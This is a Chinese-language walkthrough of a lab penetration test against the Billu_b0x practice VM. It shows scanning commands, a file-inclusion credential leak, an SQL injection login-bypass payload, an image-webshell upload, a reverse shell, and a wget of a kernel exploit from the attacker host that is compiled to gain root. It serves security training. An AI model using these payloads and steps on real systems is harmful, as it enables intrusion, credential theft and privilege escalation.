一. 实验环境
二. 实验流程
三. 实验步骤
(一)信息收集——主机发现
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 扫描主机(netdiscover)
(二)信息收集——端口扫描
1. 扫描端口(masscan)
2. 详细扫描端口信息(nmap)
(三)渗透测试
80端口(http服务)
1. 访问目标靶机的80端口
2. 网站目录扫描(dirb)
3. 查看扫描到的网站目录
4. 登录数据库;
5. 方式2:SQL注入绕过登录;
6. 上传图片木马;
7. 反弹shell;
8. 提权
9. 方式2获取shell并提权
10. 留后门,清痕迹;
四. 实验总结
- 靶机:Billu_creat_Files,IP地址暂时未知;
- 测试机:Kali,IP地址:192.168.37.131;
- 测试机:物理机win7;
- 信息收集——主机发现
- 信息收集——端口扫描
- 渗透测试
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定网卡 -r 指定网段
masscan --rate=10000 --ports 0-65535 192.168.37.147
扫描发现目标开放了22,80端口;
nmap -T4 -sV -O -p 22,80 192.168.37.147
22(ssh),80(http);
1.1> 查看http服务首页信息;
http://192.168.37.147
1.2> 尝试使用弱口令登录;
登录失败;发现该登录页面没有验证码和登录次数的限制,可以尝试使用暴力破解;
dirb http://192.168.37.147
尝试拿大字典扫描
3.1> http://192.168.37.147/add
3.2> http://192.168.37.147/in
3.3> http://192.168.37.147/phpmy
发现了一个数据库的登录页面;
3.4> http://192.168.37.147/test
- 抓取到的包为get方式,网站页面的传输方式为post方式;
- BurpSuite右键有一个可以直接该request method的按钮!
- 发现存在文件包含;
3.5> 包含index.php进来,发现包含了两个头文件;
3.6> 包含head.php
3.7> 包含c.php;
- 查询到了连接数据库的用户名billu,密码b0x_billu;
- 最后一个参数ica_lab是数据库的名称;
4.1> 使用获取到的账户和密码登录数据库;成功登录;
4.2> 发现有两张表,一张是Mysql自带的information_schema,一张是ica_lab,在ica_lab数据库中有一个表是auth(认证的简写),查看该表中的内容 ,猜测应该是openssh密码或者前面的web登录密码.;
用户名:biLLu,密码:hEx_it
4.3> 尝试登录ssh;失败;
4.4> 尝试登录web的主页;成功登录;
发现这个页面可以add user,上传图片,我们尝试进行上传;
5.1> 用test.php去包含首页登录的index.php,进行sql注入绕过;
sql注入一个重要的原则就是闭合输入查询,str_replace的作用是将字符串' 替换为空,因此构造SQL注入登录payload时,必须含有'字符串,urldecode的作用是将输入解码。
5.2> SQL注入语句闭合绕过登录;
'or 1=1-- -\'
成功绕过登录;
6.1> 上传图片木马;
成功上传上去图片木马;
6.2> 使用中国菜刀查看;
连接失败???
7.1> 将Kali中的php-reverse-shell.php复制到物理机上重命名为gou.php,并修改其中的ip和监听的端口;
7.2> 合成新的图片Jack.jpg;
7.3> 上传jack.jpg;
7.4> 在浏览器中加载hackbar插件;并在Kali上监听端口,执行;
7.5> 在Kali上查看监听的端口,成功获取webshell;
成功获取到webshell;
8.1> uname -a
和cat /etc/issus
查看系统的版本信息和内核
为:Ubuntu 12.04.5 LTS、Linux indishell 3.13.0-32-generic
8.2> python -c ‘import pty;pty.spawn(“/bin/bash”)’
将shell转换为交互式的tty;
8.3> 在Kali中搜索版本的漏洞;
searchsploit ubuntu 12.04
8.4> 下载exp到靶机的/tmp目录下,并执行;(注:如下终端产生了双写,可以多尝试几次获取shell)
wget http://192.168.37.131/37292.c
8.5> 编译并执行;
gcc -pthread 37292.c -o exp -lcrypt #编译
./exp #执行
成功提权到root;
9.1> 查看phpmyadmin的默认的配置文件内容;
- 一般来说,配置文件都是里面都是很重要的信息,phpmyadmin的默认的配置文件是:
config.inc.php
;
- 在linux主机的apach中猜测路径默认在
/var/www/phpmy
下面;- 所以,我们可以采用POST模式包含该配置文件,通过文件包含,读取config.inc.php文件;
- 发现了root账户和对应密码:roottoor;
9.2> 尝试远程连接ssh;
直接获得root权限;
- 存在文件包含漏洞,对其进行利用(可获取很多信息)
- 扫描出的文件对其进行访问抓包,获取到用户名密码等有用信息
- 在phpmyadmin数据库中可获取很多有用信息,phpmyadmin的默认的配置文件是:
config.inc.php
;
- 查询版本信息(也可以使用 lsb_release -a );